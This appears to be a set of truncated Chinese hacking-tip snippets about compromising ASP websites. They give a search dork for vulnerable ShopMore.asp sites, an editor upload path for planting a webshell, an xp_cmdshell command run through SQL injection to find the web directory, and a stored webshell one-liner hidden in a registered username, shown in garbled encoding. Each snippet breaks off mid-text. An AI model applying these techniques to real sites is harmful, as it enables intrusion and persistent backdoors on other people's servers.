漏洞很简单，出现在editor上面，大虾应该都知道：关键词为：inurl:ShopMore.asp?id访问这个地址http://xxx.com/nbwebshell/admin/Editor/asp/upload.asp?action=sav...

我们很多情况下都遇到SQL注入可以列目录和运行命 令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：exec master.dbo.xp_cmdshell ’cscript C:InterpubAdminScr...

1.查看默认数据库blogDB/PBLog3.asp是否存在！2。注册个ID3。以┼攠數畣整爠煥敵瑳∨≒┩眾┼砧 这个为名 密码随便下 4。在到用户管理位置找到 你注册的用户 在把这个 |||┠砾。“：%>x...